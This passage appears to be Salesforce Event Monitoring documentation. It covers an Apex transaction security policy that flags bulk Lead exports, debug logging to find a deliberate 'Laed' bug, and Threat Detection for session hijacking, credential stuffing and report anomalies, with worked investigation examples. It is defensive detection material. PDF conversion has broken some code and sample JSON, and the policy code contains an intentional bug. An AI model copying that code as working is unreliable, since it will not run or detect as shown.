static testMethod void testApiEventPositiveTestCase() {
    // set up our event and its field values
    ApiEvent testEvent = new ApiEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2001;

    // test that the Apex returns true for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assert(eventCondition.evaluate(testEvent));
}
}
```

### Add Apex Debug Logs

After creating and running Apex tests, you now know there’s a problem in your Apex code, but you don’t know what it is. Apex debug logs help you gain visibility into what your Apex class is doing so that you can fix the issue.

Let’s update the Apex code for the enhanced Lead Data Export policy that currently has the unfortunate ‘Laed’ typo with some `System.debug()` statements.

```java
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                System.debug('Evaluating an ApiEvent');
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                System.debug('Evaluating a ReportEvent');
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when null {
                System.debug('Evaluating null');
                return false;
            }
            when else {
                System.debug('Evaluating another event type: ' + event);
                return false;
            }
        }
        
        private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
            // pulling out our 2 conditions into variables
            // so that we can also use them for logging!
            boolean containsLead = queriedEntities.contains('Laed');
            boolean moreThan2000 = rowsProcessed > 2000;

            System.debug('Contains Lead? ' + containsLead);
```
System.debug('More than 2000 rows? ' + moreThan2000);

if (containsLead && moreThan2000){
    return true;
} else {
    return false;
}

Rerun the Apex test from the Developer Console, and view the debug logs that your Apex code generated. This example shows that the QueriedEntities field of the recent event doesn’t contain a Lead. The highlighted debug log pinpoints the condition that didn’t evaluate correctly. Now it’s easy to examine your Apex code and find the typo.

If you want to see the debug output when a policy runs in a production environment, add a User Trace flag for the Automated User. The Automated User executes transaction security policies.
Debug Logs

To specify the type of information that is included in debug logs, add trace flags and debug levels. Each trace flag includes a debug level, a start time, an end time, and a log type.

Trace flags set logging levels (such as for Database, Workflow, and Validation) for a user, Apex class, or Apex trigger for up to 24 hours.

- Select Automated Process from the drop-down list to set a trace flag on the automated process user. The automated process user runs background jobs, such as sending Chatter invitations.
- Select Platform Integration from the drop-down list to set a trace flag on the platform integration user. The platform integration user runs processes in the background, and appears in audit fields of certain records, such as cases created by the Einstein Bot.
- Select User from the drop-down list to specify a user whose debug logs you’d like to monitor and retain.
- Select Apex Class or Apex Trigger from the drop-down list to specify the log levels that take precedence while executing a specific Apex class or trigger. Setting class and trigger trace flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set by user trace flags, but they don’t cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at the time of execution.

Configure your Debug Levels.

Traced Entity Type: Automated Process
Traced Entity Name: Automated Process
Start Date: 8/11/2019 8:01 PM
Expiration Date: 8/11/2019 8:31 PM
Debug Level: SFDC_Developer

SEE ALSO:
- Manage Real-Time Event Monitoring Events
- Execute Apex Tests
- Apex Developer Guide: Debug Log
- View Debug Logs
- Set Up Debug Logging
Threat Detection

Threat Detection uses statistical and machine learning methods to detect threats to your Salesforce org. While Salesforce identifies these threats for all Salesforce customers, you can view the information in the events with Threat Detection in Event Monitoring and investigate further if necessary.

Threat Detection identifies:

- If a user session is hijacked
- When a user successfully logs in during an identified credential stuffing attack. Credential stuffing occurs when large-scale automated login requests use stolen user credentials to gain access to Salesforce.
- Anomalies in a user’s report views or exports
- Anomalies in how users make API calls

Note: Not all third-party proxies pass network-related parameters, such as IP addresses, into Salesforce. Without network-related parameters, Salesforce doesn’t detect all threats to these proxies.

Respond to Detected Threat Events

Use Threat Detection to plan and implement appropriate responses that keep your data safe. To help you respond in real time, Threat Detection events are compatible with transaction security policies and flows.

Use Transaction Security Policies to Monitor Threats

Create a transaction security policy on the Threat Detection events that generates email or in-app notifications when Salesforce detects a threat. After you investigate the detected threat, consider creating a policy to control users’ behavior.

For example, you receive multiple ReportAnomalyEvents about a user who exported many more records of a report on Leads than usual. Because you created a transaction security policy on ReportAnomalyEventStore, you receive a notification each time this anomaly occurs. To further protect the Lead object, you can create a ReportEvent policy on the report to block users from exporting more than 10 rows.

Automate Responses with Platform Event-Triggered Flows

You can build flows to respond to anomalies detected on the ApiAnomalyEvent, CredentialStuffingEvent, ReportAnomalyEvent, and SessionHijackingEvent. For example, create flows that generate a case for a follow-up investigation, send an email to a security specialist, or deactivate an affected user pending further investigation.

Aggregate Detected Threats with Security Center

You can save time by aggregating information on detected threats across your entire Salesforce rollout in one place with the Threat Detection app in Security Center. For more information, see Review Threat Detection Events.

IN THIS SECTION:

Session Hijacking

Session Hijacking is a customer-focused attack where attackers try to steal information from using a client’s access to a web application. In our case, this application is Salesforce. When a client successfully authenticates with Salesforce, they receive a session token. The attacker tries to hijack the client’s session by obtaining their session token.

Credential Stuffing

Credential stuffing is a type of cyber attack that uses stolen account credentials. It’s also known as “password spraying” or “credential spills”. Attackers obtain large numbers of usernames and passwords through data breaches or other types of cyber attacks. They then use these credentials to gain unauthorized access to user accounts through large-scale automated login requests against a web application such as Salesforce.
Report Anomaly

An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in Salesforce Core application logs about report generation and surrounding activities to build a baseline model of the historical activity. We then compare any new report generation activity against this baseline to determine if the new activity is sufficiently different to be called an anomaly. We don’t look at the actual data that a user interacts with—we look at how the user interacts with the data.

API Anomaly

An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in Salesforce Core application logs about API generation and surrounding activities to build a baseline model of the historical activity. We then compare any new API generation activity against this baseline to determine if the new activity is sufficiently different to be called an anomaly. We don’t look at the actual data that a user interacts with—we look at how the user interacts with the data.

View Threat Detection Events and Provide Feedback

Launch the Threat Detection app and view all the detected threats that occurred in your Salesforce org. Threats include anomalies in how users run reports, session hijacking attempts, and credential stuffing. Use the same app to easily provide feedback about the severity of a specific threat.

SEE ALSO:

- Platform Events Developer Guide: Real-Time Event Monitoring Objects
- Platform Events Developer Guide: Subscribe to Platform Event Messages with Flows
- Enhanced Transaction Security
- How Salesforce Helps Protect You From Insider Threats
- How Salesforce Helps Protect You From Credential Stuffers

Session Hijacking

Session Hijacking is a customer-focused attack where attackers try to steal information from using a client’s access to a web application. In our case, this application is Salesforce. When a client successfully authenticates with Salesforce, they receive a session token. The attacker tries to hijack the client’s session by obtaining their session token.

The Real-Time Event Monitoring object SessionHijackingEvent addresses the “Man In The Browser” attack (MiTB), a type of session hijacking attack. In a MiTB attack, the attacker compromises the client’s web application by first planting a virus like a Trojan proxy. The virus then embeds itself in the client’s browser. And when the client accesses a web application such as Salesforce, the virus manipulates pages, collects sensitive information shared between client and Salesforce, and steals information. These types of attacks are difficult for the client to detect.

Fortunately, Salesforce is ahead in this race with the bad guys and has mechanisms in place to detect MiTB attacks. When detected, Salesforce kills the session and any child sessions, logs out the user, and asks for multi-factor authentication. With this action, Salesforce helps prevent the attacker from performing any subsequent malicious activity with that user’s session. This autonomous enforcement makes session hijacking costly for attackers and results in safer sessions for Salesforce customers.

All Salesforce customers get this threat mitigation. Event monitoring customers get granular visibility into these attacks. These customers can collect useful information about the attacks in real time and send notifications to other users in Salesforce.

How Salesforce Detects Session Hijacking

To detect session hijacking attempts, Salesforce first uses browser fingerprinting to identify the device that a user has logged in from. If within a session, Salesforce sees a significant deviation in the browser fingerprint, there’s probably unauthorized activity from a different
device using the stolen legitimate session ID. Salesforce computes the session hijacking risk score for every pair of intra-session browser fingerprints. It then compares the score to an empirically determined threshold to detect anomalous user sessions in real time. If Salesforce detects an anomaly, it generates a SessionHijackingEvent.

**Note:** While Salesforce uses browser fingerprinting to identify a device, it doesn’t use it to track a user. Salesforce uses the data only to detect suspicious behavior.

IN THIS SECTION:

**Features of the Browser Fingerprint**

A browser fingerprint is a collection of features that together identify a device. Salesforce uses these features to build a model of the user’s original browser fingerprint when they logged in. Salesforce uses this model to detect whether a user’s session was hijacked.

**Investigate Session Hijacking**

Here are some tips for investigating a session hijacking attack.

SEE ALSO:

Open Web Application Security Project: Session Hijacking Attack

### Features of the Browser Fingerprint

A browser fingerprint is a collection of features that together identify a device. Salesforce uses these features to build a model of the user’s original browser fingerprint when they logged in. Salesforce uses this model to detect whether a user’s session was hijacked.

<table>
<thead>
<tr>
<th><strong>Feature Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Example</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>window</code></td>
<td>The window size, in pixels, of the browser.</td>
<td>(750, 340)</td>
</tr>
<tr>
<td><code>userAgent</code></td>
<td>HTTP Header that contains information about the browser, operating system, version, and more.</td>
<td><code>Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10</code></td>
</tr>
<tr>
<td><code>timestamp</code></td>
<td>Timestamp of the captured event. Usually in Coordinated Universal Time (UTC) format.</td>
<td>2020-03-03T03:10:10Z</td>
</tr>
<tr>
<td><code>screen</code></td>
<td>The screen size, in pixels, of the browser.</td>
<td>(1050.0,1680.0)</td>
</tr>
<tr>
<td><code>plugins</code></td>
<td>JavaScript attribute that lists the activated browser plugins.</td>
<td>Chrome PDF Plugin:Portable Document</td>
</tr>
<tr>
<td>Feature Name</td>
<td>Description</td>
<td>Example</td>
</tr>
<tr>
<td>--------------</td>
<td>-------------</td>
<td>---------</td>
</tr>
<tr>
<td>originApp</td>
<td>The origin app of the fingerprint.</td>
<td>Lightning</td>
</tr>
<tr>
<td>drm</td>
<td>Whether DRM (Digital Rights Management) is enabled.</td>
<td>0, 1</td>
</tr>
<tr>
<td>dnt</td>
<td>JavaScript attribute that indicates whether the user is requesting web sites and advertisers to not track them.</td>
<td>enabled</td>
</tr>
<tr>
<td>webSockets</td>
<td>Whether the browser used web sockets.</td>
<td>true</td>
</tr>
<tr>
<td>sessionStorage</td>
<td>Whether the browser used session storage.</td>
<td>true</td>
</tr>
<tr>
<td>platform</td>
<td>Browser-populated JavaScript attribute regarding the platform the browser is running on (window.navigator.platform).</td>
<td>iPad</td>
</tr>
<tr>
<td>localStorage</td>
<td>Whether local storage is used, extending beyond the duration of the session.</td>
<td>false</td>
</tr>
<tr>
<td>ipAddress</td>
<td>The IP address in the request.</td>
<td>96.43.144.26 or &quot;Salesforce.com IP&quot;</td>
</tr>
<tr>
<td>indexDb</td>
<td>Whether an indexed database is enabled for browser storage.</td>
<td>true</td>
</tr>
<tr>
<td>fonts</td>
<td>A hashed value of a list of browser fonts.</td>
<td>9wAt8IYAgO=</td>
</tr>
<tr>
<td>color</td>
<td>The color depth of the browser.</td>
<td>(24.0, 24.0)</td>
</tr>
</tbody>
</table>

**Investigate Session Hijacking**

Here are some tips for investigating a session hijacking attack.

Start by querying these Real-Time Event Monitoring events that provide detailed information about the attack. In particular:

- **SessionHijackingEvent** and its storage equivalent **SessionHijackingEventStore** track when unauthorized users gain ownership of a Salesforce user’s session with a stolen session identifier. To detect such an event, Salesforce evaluates how significantly a user’s current browser fingerprint diverges from the previously known fingerprint. Salesforce uses a probabilistically inferred significance of change.

    **Important:** If the SessionHijackingEvent object contains a record, an attack occurred in the past and Salesforce security has already taken care of the security issue. You don’t do anything other than investigate the attack for your own purposes.

- **LoginEventStream** (and its storage equivalent **LoginEvent**) tracks all login activity in your org. For example, say that your org receives a SessionHijackingEvent. The first thing you do is look at relevant fields of the event to get basic information about the attack, such as:
  - **Score**: A number from 0.0 to 1.0 that indicates how significantly the new browser fingerprint deviates from the previous one. The higher the number, the more likely a session hijacking attack occurred.
  - **UserId**: The user’s unique ID. Use this ID to query LoginEvent for more login information.
• EventDate: When this attack occurred.
• SecurityEventData: JSON field that contains the current and previous values of the browser fingerprint features that contributed the most to this anomaly detection. See this table for the full list of possible features.
• Summary: A text summary of the event.
• Current–Previous field pairs: These field pairs provide quick access to current and previous values for selected browser fingerprint features.
  – CurrentIp and PreviousIp: The current and previous IP address.
  – CurrentPlatform and PreviousPlatform: The current and previous operating system, such as Win32, MacIntel, or iPad.
  – CurrentScreen and PreviousScreen: The current and previous screen size in pixels, such as (900.0,1440.0).
  – CurrentUserAgent and PreviousUserAgent: The current and previous value of your browser’s user agent that identifies the type of browser, version, operating system, and more. For example, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
  – CurrentWindow and PreviousWindow: The current and previous window size in pixels, such as (1200.0,1920.0).

See the API documentation for the full list of fields.
This sample SOQL query returns these field values.

```
SELECT Score, UserId, EventDate, SecurityEventData, Summary
FROM SessionHijackingEventStore
```

Let’s look at the SecurityEventData field a bit more closely because it contains the browser fingerprints that triggered this anomaly detection. Here’s sample data:

```
[
  {
    "featureName": "userAgent",
    "featureContribution": "0.45 \%
    "previousValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142",
    "currentValue": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36."
  },
  {
    "featureName": "ipAddress",
    "featureContribution": "0.23 \%
    "previousValue": "201.17.237.77",
    "currentValue": "182.64.210.144"
  },
  {
    "featureName": "platform",
    "featureContribution": "0.23 \%
    "previousValue": "Win32",
    "currentValue": "MacIntel"
  },
  {
    "featureName": "screen",
    "featureContribution": "0.23 \%
    "previousValue": "(1050.0,1680.0)",
    "currentValue": "(864.0,1536.0)"
  },
]`
The sample JSON shows that many browser fingerprint features changed, including window, IP address, platform, and more. Salesforce concludes the user session was hijacked.

SEE ALSO:

Platform Events Developer Guide: SessionHijackingEvent

Credential Stuffing

Credential stuffing is a type of cyber attack that uses stolen account credentials. It’s also known as “password spraying” or “credential spills”. Attackers obtain large numbers of usernames and passwords through data breaches or other types of cyber attacks. They then use these credentials to gain unauthorized access to user accounts through large-scale automated login requests against a web application such as Salesforce.

Salesforce identifies a credential stuffing attack using a two-step process. First, it detects if a credential stuffing attack is taking place by analyzing the login traffic. In particular, we look for attackers who stuff multiple credentials in the same end-point or stuff the same user accounts by enumerating multiple passwords. Next we check the ratio of successful versus failed login traffic volume. If the volume exceeds a certain threshold, we use more fingerprint details to identify the affected user’s profile.

When we detect a successful login from an endpoint that exhibits credential stuffing behavior, we pose an identity challenge to the affected user. If the user successfully completes that challenge, they are required to change their password before accessing Salesforce again.

All Salesforce customers get this threat mitigation. However, Event Monitoring customers can get granular visibility into these attacks using the CredentialStuffingEvent object. These customers can then collect useful information related to these events in real time and send notifications to other users in Salesforce.

IN THIS SECTION:

Investigate Credential Stuffing

Here are some tips for investigating a credential stuffing attack.
Investigate Credential Stuffing

Here are some tips for investigating a credential stuffing attack.

Start by querying these Real-Time Event Monitoring events that provide detailed information about the attack. In particular:

- CredentialStuffingEvent and its storage equivalent CredentialStuffingEventStore track when a user successfully logs into Salesforce during an identified credential stuffing attack.

  **Important:** If the CredentialStuffingEvent object contains a record, an attack occurred in the past and Salesforce security has already taken care of the security issue. You don’t do anything other than investigate the attack for your own purposes.

- LoginEventStream and its storage equivalent LoginEvent track all login activity in your Salesforce org.

For example, say that your org receives a CredentialStuffingEvent. The first thing you do is look at relevant fields of the event to get basic information about the attack, such as:

- **UserId**: The user’s unique ID. Use this ID to query LoginEvent for more login information.
- **EventDate**: When this attack occurred.
- **Summary**: A text summary of the event.

See the API documentation for the full list of fields.

This sample SOQL query returns these field values.

```
SELECT UserId, EventDate, Summary FROM CredentialStuffingEventStore
```

You can use this type of query to identify the users in your org that were affected by the credential stuffing attack. These users reused their org password in other web sites or their password follows a common pattern and is not strong enough. Educate your users on how they can create and manage strong passwords to protect your org.

Also consider improving your security with password protection. You can set password history, length, and complexity requirements. You can also specify what to do when a user forgets the password. Salesforce requires the use of multi-factor authentication (MFA) for all logins to the user interface — make sure MFA is enabled for all your users. Finally, investigate enabling Lightning Login for password-free logins.

SEE ALSO:

- Salesforce Help: Enable Lightning Login for Password-Free Logins
- Trailhead: Educate Your Users to Help Protect Your Org
- Salesforce Security Guide: Set Password Policies
- Platform Events Developer Guide: CredentialStuffingEvent
Report Anomaly

An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in Salesforce Core application logs about report generation and surrounding activities to build a baseline model of the historical activity. We then compare any new report generation activity against this baseline to determine if the new activity is sufficiently different to be called an anomaly. We don’t look at the actual data that a user interacts with—we look at how the user interacts with the data.

IN THIS SECTION:

Training and Inference Steps
Similar to other machine learning or statistical models, our detection model has a familiar two-step process: a training step and an inference or detection step. As a customer, you don’t perform either of these steps—Salesforce performs them for you. You only review the detection events generated by our detection mode and take further action if necessary.

Investigate Report Anomalies
It’s often necessary to further investigate a report anomaly to either rule it out as benign or to determine if a data breach occurred.

Best Practices for Investigating Report Anomalies
Keep these tips and best practices in mind when you investigate unusual user behavior. They can help you find the information you require to make a well informed conclusion about your data’s safety.

Report Anomaly Detection Examples
Here are several examples that illustrate how you can investigate anomalous report events thoroughly.

Training and Inference Steps
Similar to other machine learning or statistical models, our detection model has a familiar two-step process: a training step and an inference or detection step. As a customer, you don’t perform either of these steps—Salesforce performs them for you. You only review the detection events generated by our detection mode and take further action if necessary.

Training Step
We extract various attributes—also known as features—using the metadata from the Salesforce application logs. We use metadata about report generation and surrounding activities over a period of 90 days. The actual list of features changes as the model improves.

Using these features, we build a model of the user’s typical report generation activity. This step is called model training. We use the trained model to detect anomalies in the second step.

Inference (or Detection) Step
During the detection step, we look at every report generation activity for every user and extract the same set of features used to train the model. We then compare features against the model of the user’s typical behavior and determine if the activity under consideration is sufficiently different.

Anomaly Score
We assign a numerical anomaly score to every report generation activity based on how different the activity is compared to the user’s typical activity. The anomaly score is always a number from 0 through 100, and is often expressed as a percentage. A low anomaly score
indicates that the user’s report generation activity is similar to the user’s typical activity. A high anomaly score indicates that the user’s report generation activity is different from the user’s typical activity.

**Critical Threshold**

Every report generation event is assigned an anomaly score, but not all generation events are anomalies. We use a threshold to determine which report generation events are sufficiently different from a user’s typical activity. Any event with an anomaly score above the critical threshold is considered an anomaly.

**Investigate Report Anomalies**

It’s often necessary to further investigate a report anomaly to either rule it out as benign or to determine if a data breach occurred.

As a Shield customer, the Real-Time Event Monitoring events provide you with the required information to perform your investigation. In particular:

- **ReportAnomalyEvent** (and its storage equivalent **ReportAnomalyEventStore**) track when anomalies are detected about users running or exporting reports. These objects are the starting point of your investigation.
- **ReportEventStream** (and its storage equivalent **ReportEvent**) track in general when users run or export reports in your org. Use these objects to see real-time or historical report executions.
- **LoginEventStream** (and its storage equivalent **LoginEvent**) track all login activity in your org.

For example, say that your org receives a **ReportAnomalyEvent** that indicates a potential anomaly in a user’s report execution. The first thing you do is look at relevant fields of the event to get basic information about the anomaly, such as:

- **Score**: A number that represents how much this user’s report execution differed from their usual activity. The higher the number, the more it diverged.
- **UserId**: The user’s unique ID.
- **EventDate**: When this anomaly occurred.
- **Report**: The report ID for which this anomaly was detected.
- **SecurityEventData**: JSON field that contains the features, such as row count or day of the week, that contributed the most to this anomaly detection. See this table on page 269 for the full list of possible features.
- **Summary**: A text summary of the event.

See the API documentation for the full list of fields.

This sample SOQL query returns these field values.

```sql
SELECT Score, UserId, EventDate, Report, SecurityEventData, Summary
FROM ReportAnomalyEventStore
```

Let’s look at the **SecurityEventData** field a bit more closely because it contains the contributing factors that triggered this anomaly detection. Here’s sample data:

```json
[
{
"featureName": "rowCount",
"featureValue": "1937568",
"featureContribution": "95.00 %"
},
{
```

261
The feature that contributed the most (95.00%) to this anomaly detection was rowCount with a value of 1937568. The feature indicates that the user viewed or exported a report that had 1,937,568 rows. But based on historical data, the user rarely views or exports so much data. The other features contributed much less to the score. For example, the user executed the report on Sunday, but this feature contributed only 1.42% to the overall score.

Now that you have the data, you can investigate further.

SEE ALSO:

Training and Inference Steps


**Best Practices for Investigating Report Anomalies**

Keep these tips and best practices in mind when you investigate unusual user behavior. They can help you find the information you require to make a well-informed conclusion about your data's safety.

**Identify the involved user.**
Keeping customer privacy in mind, we cannot access customer data or any data inside the reports. As a result, we can provide only the user ID of the user who generated the report that is marked as an anomaly. Use this user ID to locate the username and other details about the person associated with the detection event.

Field: `ReportAnomalyEvent.UserId`

**Use the timestamp.**
Our detection model already considers various features derived from the timestamp to determine report generation activity as anomalous or not. You can use this timestamp to narrow down the set of events you must review. You can also determine if the time of report generation was unusual for the user who generated the report.

Field: `ReportAnomalyEvent.EventDate`

**Use contributing factors as a guide.**
The contributing factors JSON output shows the list of features on page 269 in descending order of contribution. As you start your investigation into the event logs, keep an eye out for the top contributing features. If these features look unusual, they can provide more evidence that confirms the anomaly or even indicate a possible data breach.

Field: `ReportAnomalyEvent.SecurityEventData`

**Consider the anomaly in the context of the user’s typical behavior.**
Using the `ReportAnomalyEvent` field values, try to determine whether the user activity within the detection event is typical for the user. For example, consider if it’s typical for a user to generate a report from the IP address provided.

Field: `ReportAnomalyEvent.SourceIp`

**Consider the size of the report.**
We consider the size of the report to determine if the report generation was anomalous. A user generating a larger report than usual can indicate an unauthorized data export attempt. For example, an attacker obtained unauthorized access to the user’s account and exfiltrate as much data as possible before losing access. Alternatively, it could mean that a disgruntled employee is exfiltrating data for use beyond the needs of the employer.

Field: `ReportAnomalyEvent.SecurityEventData` (specifically the rowCount feature name)

**Not all anomalies are malicious.**
While some anomalies can indicate a malicious intent, other anomalies can be legitimate but unusual. Our detection model can produce detection events that are unusual but not malicious. For example, if an employee gets promoted to a new role and starts generating larger reports, our model can flag this behavior as anomalous.

SEE ALSO:
- *Training and Inference Steps*
- *Platform Events Developer Guide: ReportEvent*
Report Anomaly Detection Examples

Here are several examples that illustrate how you can investigate anomalous report events thoroughly.

**IN THIS SECTION:**

Detection Event Isn’t Anomalous
Jason is a sales data analyst who reports to the regional sales manager. It’s Jason’s job to generate reports for his manager’s sales calls. On March 27, 2019, Jason’s account was used to generate a report. Alia, the administrator for Jason’s org, noticed a ReportAnomalyEvent about this report generation activity.

Detection Event Possibly Anomalous
Rob recently joined the company as a customer success representative. On Jan 15, 2019, Rob’s account was used to generate a report. Tony, the org’s Salesforce admin, noticed a ReportAnomalyEvent about this report generation activity.

Detection Event Is Definitely Anomalous but Maybe Not Malicious
Alice is a sales rep based in St. Louis. She’s often on the road to meet with clients. When she travels, she generally, but not consistently, use her company’s VPN to log into Salesforce.

Detection Event Is Confirmed Malicious
John, a sales rep based in San Francisco, often travels for work. He regularly downloads reports of his leads for his weekly sales presentations. John has access to 500-1,000 leads and his weekly report downloads typically contain 500–1,000 rows.

### Detection Event Isn’t Anomalous

Jason is a sales data analyst who reports to the regional sales manager. It’s Jason’s job to generate reports for his manager’s sales calls. On March 27, 2019, Jason’s account was used to generate a report. Alia, the administrator for Jason’s org, noticed a ReportAnomalyEvent about this report generation activity.

The event contained this information.

<table>
<thead>
<tr>
<th>ReportAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>97.9801</td>
</tr>
<tr>
<td>SourceIp</td>
<td>96.43.144.30</td>
</tr>
<tr>
<td>EventDate</td>
<td>2019-03-27T07:45:07.192Z</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M946</td>
</tr>
<tr>
<td>Report</td>
<td>000D0000001eVCMAY</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The SecurityEventData field contained this information.

<table>
<thead>
<tr>
<th>featureName</th>
<th>featureValue</th>
<th>featureContribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>rowCount</td>
<td>17234</td>
<td>60.2%</td>
</tr>
</tbody>
</table>
Alia notices that this report had approximately 17k rows generated on a Sunday. She decides to investigate further. Using the UserId field value, Alia identifies Jason as the user. She then looks through Jason’s past report generation activity using the ReportEvent event. She notices that Jason, a sales data analyst, generates reports of varying sizes, ranging from just a handful of rows to 20k rows. Alia also notices that Jason often accompanies his manager on road shows, which often involves working Sundays and nights. Alia concludes that this detection event wasn’t anomalous because the report generation activity is well within Jason’s typical activity.

SEE ALSO:
- Platform Events Developer Guide: ReportAnomalyEvent
- Platform Events Developer Guide: ReportEvent

### Detection Event Possibly Anomalous

Rob recently joined the company as a customer success representative. On Jan 15, 2019, Rob’s account was used to generate a report. Tony, the org’s Salesforce admin, noticed a ReportAnomalyEvent about this report generation activity.

The event contained this information.

<table>
<thead>
<tr>
<th>ReportAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>96.4512</td>
</tr>
<tr>
<td>SourceIp</td>
<td>96.43.144.28</td>
</tr>
<tr>
<td>EventDate</td>
<td>2019-01-15T07:45:07.192Z</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M945</td>
</tr>
<tr>
<td>Report</td>
<td>00OD0000001leVCMAY</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The SecurityEventData field contained this information.

<table>
<thead>
<tr>
<th>featureName</th>
<th>featureValue</th>
<th>featureContribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>rowCount</td>
<td>46008</td>
<td>58.65%</td>
</tr>
<tr>
<td>userAgent</td>
<td>-</td>
<td>30.23%</td>
</tr>
<tr>
<td>averageRowSize</td>
<td>1534</td>
<td>6.58%</td>
</tr>
</tbody>
</table>
Tony notices that the rowCount feature is a bit high for their org. The second-ranking feature is userAgent with a feature contribution of around 30%. This percentage indicates that this user agent is not common for their org. Tony investigates further and finds Rob with the UserId field. Tony notices that Rob is a relatively new employee. By looking at the ReportEvent events, Tony notices that Rob occasionally generates reports of 46k rows. Because Rob is a relatively new employee, Tony can’t be certain whether this report matches Rob’s typical activity pattern.

Tony concludes that this detection is possibly anomalous, although he doesn’t take any threat mitigation actions now.

SEE ALSO:
- Platform Events Developer Guide: ReportAnomalyEvent
- Platform Events Developer Guide: ReportEvent

Detection Event Is Definitely Anomalous but Maybe Not Malicious

Alice is a sales rep based in St. Louis. She’s often on the road to meet with clients. When she travels, she generally, but not consistently, use her company’s VPN to log into Salesforce.

On July 27, 2015, Alice’s account was used to generate a report from a relatively new IP address. Bob, the administrator for Alice’s org, noticed a ReportAnomalyEvent about this report generation activity. The event contained this information.

<table>
<thead>
<tr>
<th>ReportAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>95.0158</td>
</tr>
<tr>
<td>SourceIp</td>
<td>96.43.144.27</td>
</tr>
<tr>
<td>EventDate</td>
<td>2015-07-27T07:45:07.192Z</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M944</td>
</tr>
<tr>
<td>Report</td>
<td>00OD0000001leVCMAY</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The SecurityEventData field contained this information.

<table>
<thead>
<tr>
<th>featureName</th>
<th>featureValue</th>
<th>featureContribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>autonomousSystem</td>
<td>Softbank Corp</td>
<td>73.4%</td>
</tr>
<tr>
<td>rowCount</td>
<td>50876</td>
<td>15.6%</td>
</tr>
<tr>
<td>userAgent</td>
<td>-</td>
<td>9.9%</td>
</tr>
<tr>
<td>numberFilters</td>
<td>11</td>
<td>0.81%</td>
</tr>
</tbody>
</table>
Bob notices that the autonomous system—derived from the IP address—is the top-ranked feature with 73.4% feature contribution. This percentage indicates that Alice rarely uses this autonomous system. Bob also notices that the report has around 50k rows, which is not small for this org. Bob then uses the UserId to identify the user as Alice. By looking at the ReportEvent events, Bob notices that Alice typically generates reports containing 1,000–10,000 rows. But on rare occasions, Alice generated reports with more than 50k rows. The userAgent has a smaller feature contribution, which could be attributed to Alice using her mobile device less when she travels. The numberFilters and periodOfDay features have small feature contributions, and are therefore not important.

Because Alice rarely uses this autonomous system and the report is bigger than what Alice typically generates, Bob concludes that this report falls outside of typical activity. However, Bob is unable to verify whether Alice or an attacker committed this malicious act. He attempts to get more information on this incident before pursuing any threat mitigation actions.

SEE ALSO:

Detection Event Is Confirmed Malicious

John, a sales rep based in San Francisco, often travels for work. He regularly downloads reports of his leads for his weekly sales presentations. John has access to 500–1,000 leads and his weekly report downloads typically contain 500–1,000 rows.

On May 12, 2019, however, a report of 996,262 rows was downloaded using John’s account. Kate, the administrator for John’s org, noticed a ReportAnomalyEvent about this report generation activity. The event contained this information.

<table>
<thead>
<tr>
<th>ReportAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>95.48515</td>
</tr>
<tr>
<td>SourceIp</td>
<td>96.43.144.26</td>
</tr>
<tr>
<td>EventDate</td>
<td>2019-05-12T12:22:10.298+00:00</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M943</td>
</tr>
<tr>
<td>Report</td>
<td>00OD000001leVCMAY</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The SecurityEventData field contained this information.

<table>
<thead>
<tr>
<th>featureName</th>
<th>featureValue</th>
<th>featureContribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>rowCount</td>
<td>996262</td>
<td>99.37%</td>
</tr>
<tr>
<td>autonomousSystem</td>
<td>Starbucks Coffee Company</td>
<td>0.27%</td>
</tr>
<tr>
<td>dayOfWeek</td>
<td>Sunday</td>
<td>0.13%</td>
</tr>
</tbody>
</table>
